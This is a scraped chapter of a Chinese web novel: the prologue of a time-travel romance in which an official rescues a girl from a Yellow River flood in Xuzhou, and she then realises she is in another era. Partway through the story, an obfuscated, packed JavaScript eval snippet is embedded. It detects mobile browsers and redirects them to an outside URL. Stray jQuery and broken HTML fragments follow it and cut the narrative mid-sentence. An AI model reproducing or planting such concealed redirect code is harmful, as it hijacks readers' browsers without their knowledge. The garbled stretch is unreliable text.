默认冷灰
24号文字
方正启体

1. 楔子

作者:伊衔青书本书字数:K更新时间:
    阴云密布,离上京百里外的徐州云山雾罩,一片霭霭黑云,这一带是黄河流域,大雨连下八天,水坝被急流冲塌,岸上聚集着无数个百姓和官兵扛着沙袋垒成一座小山。


    雨势慢慢变小,一位约二十岁左右的青年头戴草帽身穿一身通红的官袍,大风呼啸,红色的下摆在黑夜中飘动,黑夜中青年身形如松双眸如墨,神色肃穆紧紧盯着前方,周围兵丁都举着火把,他半张俊秀的脸埋没在黑暗中。


    一名百姓叹道:“已经连下八天大雨了,也不知道什么能好。”


    青年眉头一皱问道:“决口那边还是堵不住吗?”


    青年身边的老翁叹道:“这徐州几百年了,还是第一次下这么大的雨,要堵住的话估计要加派些人手,但...您看....”


    青年沉声道:“人手的事本官来想办法,本官会与知州商议,但决口的积沙一定要加快速度清理。”


    老翁道:“是大人,可是...这河道里太多尸体堵到这里,捞上来要怎么处理....”


    这时,一名官兵突然指着湖边大叫道:“鬼啊,鬼....”


    另一名官员斥道:“瞎嚷嚷什么,哪里来的鬼。”


    青年闻声走过来眼中有些不悦道:“先扶他下去休息,张义你去派一个人去看看。”


    官兵头目接到命令指挥手下的一名官兵道:“去看看怎么回事。”


    官兵举起火把往前看了看,面前的情景着实让他捏了把汗,拱手回道:“回军爷,是一名女子,不知是死是活,她上半身浮在粗杆上,刚好卡住堤口才没有被水冲走,但…但要是时间长了就不好说了。”


    杨鲤闻言跟着走上前了几步。


    众多官兵跟在杨鲤身后,火光聚在一处,此时河道水流十分活跃。


    杨鲤看到那女子趴在一块大石头上,乌黑的长发散开飘浮在水中,脸上没有一丝血色,白如死灰,她露着半张脸,两只手死死地扒拉着石头,看样子是死了。


    这个地方,除非有人从天而降带走她,否则没有人能从激流中救她上岸。


    杨鲤是临时下徐州治水,救人性命也是其目的之一,但看那女子衣着应该是徐州本地的百姓。


    杨鲤皱着眉头问河道官道:“此人能救吗?”


    河道官叹气一声,这个位置太险峻,若是再靠近岸边或许几个人搭搭手就能把人从岸边捞回来,可废如此大力气救一个死人,似乎太不划算了。


    他沉吟半刻道:“能救,但水流太急,救人风险极大,若有不慎就会被激流冲走,徐州这边本来人手就不够,上头派徐州的人本来就不多,况且还答应了上官要在这个月末,把徐州彻底安定下来,已经好几个老兵在我这里抱怨想要调走,大人听我一句劝还是不要为一个还不知道能活几天的女子折损人手,恐怕得不偿失。”


    言罢,河道官指挥周围的官兵道:“散了,散了,都干活去吧!”


    杨鲤还是不肯放弃,他到徐州一来是为了赈灾二来也是为了救死扶伤,若错过了绝佳救命的时辰,白白一条人命就这样没了。


    昏暗的灯光在他的一张清俊的脸上来回摇曳。


    就在这时,女子发出一声微弱的呼救。


    “救....救我!拜托..你!求你…”


    听声音这女子也就十四五岁的年纪,她女子全身都湿透了,声音还带着颤抖,她死死地扒住身下的树枝。


    他上前一步,却被身旁的河道官拦下,周围的人也因这急流吓得纷纷往后退几步。


    “杨大人!危险!”


    黄河里的水突然高涨数十米,击在沿岸上溅出水花,再看一眼水中的少女,如果没有这根树枝,她可能直接会被卷走。


    来不及犹豫了,救人要紧。


    他向旁边的官兵道:“快把绳索给我!”


    官兵劝道:“同知大人,您性命贵重没必要舍身救一个女子,再说了水流那么急,要是...”


    他难道要弃之不顾吗?


    杨鲤没听官兵的劝告,脱下官袍摘下官帽,用绳索系在自己的另一端腰上牢牢捆住。


    河道官见劝不住,只能指挥着官兵喊道:“这边的人停下,快来配合同知大人下河。”


    杨鲤逆着水流向前走,水位到他大腿处冰冷刺骨,他一手举着火把在黑暗中努力地寻找她的位置,终于轻声问道:“还能动么?”


    “…能!”少女咬紧牙关使劲全身力气,递出左手。


    杨鲤稳住身形,把另外一根绳索套住少女打了个结实的结。


    “抓住绳子。”杨鲤见她牢牢地抓住绳子,便回头对岸上喊道:“拉!”


    随着一声令下,她慢慢地往河岸边靠近,可她刚离开那根树枝,她的身子便任随着水流方向不断地歪歪扭扭。


    她使不上力气,腿脚被着黄河的冷水浸泡的僵硬,一只坚硬的臂膀伸出捞起她的手腕,她左手也紧紧地抓住他的宽大的衣袖。


    黑暗中身穿白色长袍的青年引领着自己,她的手不曾松懈,仿佛抓住唯一的救命稻草,她已经在河中太久,全身麻木无力,青年耐心地一点一点拖动她。


    河道官见杨鲤拉住了人,立刻在岸上指挥催促。


    “快,救杨大人上岸!”


    杨鲤见她被自己一点点拖到岸边,并且学着自己用身上的绳索一步又一步往上走,他先把少女送上岸边。


    就在这时,少女前脚刚离开,后面的树枝咔嚓地一下就断了,树枝在水下随着水流湍急向他冲撞过去,双腿顿时失去知觉,身体不受控制地向后面的水中倒去。


    官丁都大喊道:“杨大人!”


    这时,一双冰凉的手紧紧地抓住了他。


    她长时间的失温已经冻得四肢麻木,咬着后槽牙,在这汹涌的大水中牢牢地抓住了他。


    徐州的灾民已经被转移到安全的地方,可这次被冲在黄河流域的确是第一次见,黄河水流湍急,还活了下来。


    少女失去意识,府衙里都是男子,只好把她交给了官媒婆。


    杨鲤一直在忙碌徐州黄河泛滥一事,而她是被先行带进府衙里。


    三日后,黄河泛滥一事得到暂缓,十天十夜的暴雨过后,徐州一带的天空碧空如洗,云消雾散,一切归于平静。


    程鱼昏迷了三天三夜,这天她懵懵懂懂围绕着县衙转来转去,带着恐惧探索这个陌生的时代。


    绿色的树叶落下,她坐在县衙的台阶上,抱住两腿直打哆嗦,表情呆滞。


    与此同时,站在县衙的另一侧的杨鲤看到了这一幕。


    绯红的衣摆微微拂动,他慢慢移开目光。


    黄判官道:“大夫把过脉后说只是受了凉和惊吓,差役询问她的父母和户籍一类的事,她也只字不提。”


    杨鲤沉默了会儿,淡淡道:“附近的百姓应该知道她的身份,等确认她身边没什么亲戚再按流民处理。”


    黄判官点了点头说了句是,盯着远处石阶的少女叹息一声道:“其实下官那天问了她一句,她叫什么名字,姓什么,或许知道这个我还能找出点什么,但这女子好像连自己的名字都不知道,同知大人你说该不会是她脑子有问题?”


    杨鲤道:“不会的。”


    黄判官道:“杨同知,你为何如此笃定。”


    杨鲤:“……不像。”


    黄判官一拍脑门道:“还是等知州从其他县回来,他是本地人应该知道她的身份。”


    穿越的这三天,周围的人都说她傻了,不与人说过一句话,不哭也不闹只在房间里说着胡话。


    她仍不敢相信自己穿越的这件事。


    她身体还没有恢复好,孱弱得只能被人搀扶着走,没走两步便累得不行,到处都找不到能依靠的人。


    直到某一天晚上,她再也忍不住,待身体恢复了一些她便蹲守在二堂附近,看到远处来往的人影,起身拦住迎面走来穿红色官袍,身形高高瘦瘦的青年,对方的脸被灰暗的夜色挡得严严实实。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17511624|203026||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    她小心翼翼地询问,“这位大人,请问这是那年那月?是什么朝代?”


    “星期几?”


    “你们在拍戏还是在...?”


    她不明白自己是穿越了还是误入了那个剧组,心里实在觉得恐慌。


    杨鲤沉默了一阵,对她的话表示不解,斟酌半天回道:“祯和九年,九月初三。”


    “……知府衙门不设戏班子。”


    她没有说话一双杏眸睁得很大,呆呆愣愣的表情将这几天的病气顿时被扫空。


    程鱼低下头声音无比的失望,“....我知道了。”


    随后男子从他宽大的官袍中拿出一张告示问道:“上面是你么?”


    她接过告示,上面写满了字,可她却一个字也看不懂。


    她满脸窘迫道:“这不是简体字,我看不懂。”


    她把告示又递回去,青年却没接。


    杨鲤干脆跟她解释,“这是你在上京的表兄派人在徐州报的官,已经有一个月了告示一直都在,可他却没能在徐州发大水前找到你。”


    她半懂装懂地哦了一声,“我知道了。”


    杨鲤这里的百姓说她双亲去世后脑子变傻了,要不然怎么好好的会去投河。


    可他看女子双眼干净明亮,提起自己的表兄眼中还有光亮。


    “……”


    程鱼还以为青年没听见,声音又大了几分。


    “我知道了!”


    杨鲤:“……以后别再寻死了。”


    她刚一吸气,“我知…!”


    突然听到后半句她啊了一声,脑袋懵懵的。


    “我才没有自杀!”


    青年恩了一声,准备离开。


    程鱼喊住他,追上去问道:“多,多谢大人相劝…我听后院的婆子说是你救了我,我若去了上京,以后能再见到你么?”


    她挠挠头,嘿嘿一笑:“毕竟你救了我嘛。”


    “你要是不需要我方面言谢也可以拒绝,毕竟以后就剩下我一人了。”


    她独自小声嘀咕道:“以后该怎么活下去呢....我连以前的事也记不得了,该靠谁也不知道...”


    夜静更阑,黑灯瞎火,门檐上挂得红灯笼实在不起什么作用,她又离得远看不见他的容颜,远远的只能听见声音。


    杨鲤:“……”


    程鱼摊摊手,沉默就是拒绝,她已经知道了,她无奈道:“好吧,那算啦。”


    她等了好久也没听见对面说话,就在她转身的时候,一道清冷的声音响起。


    “从前种种,譬如昨日死;从后种种,譬如今日生,以后要好好生活。”


    那日她记了很久,她身体不好一直昏迷不醒是婆子抱着她走出去意识模糊。


    她的表兄来接。


    那天的阳光很好,只是没有他不在。


    又是一个雨天,他在书房写这次洪涝灾情的文书以及重修堤坝和前知州长女失踪被找回来一事。


    陈家大公子来接他的表妹,他又是连中二元才子,父亲还是京中有名的乡绅,黄判官和知州都放下手里的事,亲自瞩一眼、结交下这个传闻中的才子。


    直到纸张上最后一字写完,鲜红的官印盖在浓墨上。他才慢慢抬起酸沉的脖子,府衙上没有什么人,他撑着月白色的油纸伞,走到府衙大门口,车轮声渐远。


    黄判官感叹道:“这陈家真大气,几个月都凑不到的粮,陈家大手一挥就解决了咱们的燃眉之急。”


    差役也谄媚道:“恭喜各位大人,有各位老爷在,真是徐州的福气啊!”


    陈家以徐州府的名义捐粮一万石,而这一万石粮食他全部发放给徐州的老百姓,他站在台阶上雨打湿了他红色官袍从这里下去府衙周围摆了粥摊,来的百姓都向他致谢。


    差役继续拍马屁道:“黄判官说不定明年会和杨大人一起进京呢。”


    杨鲤神色淡淡的,脸上却没什么表情,只是抬头望向天空。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)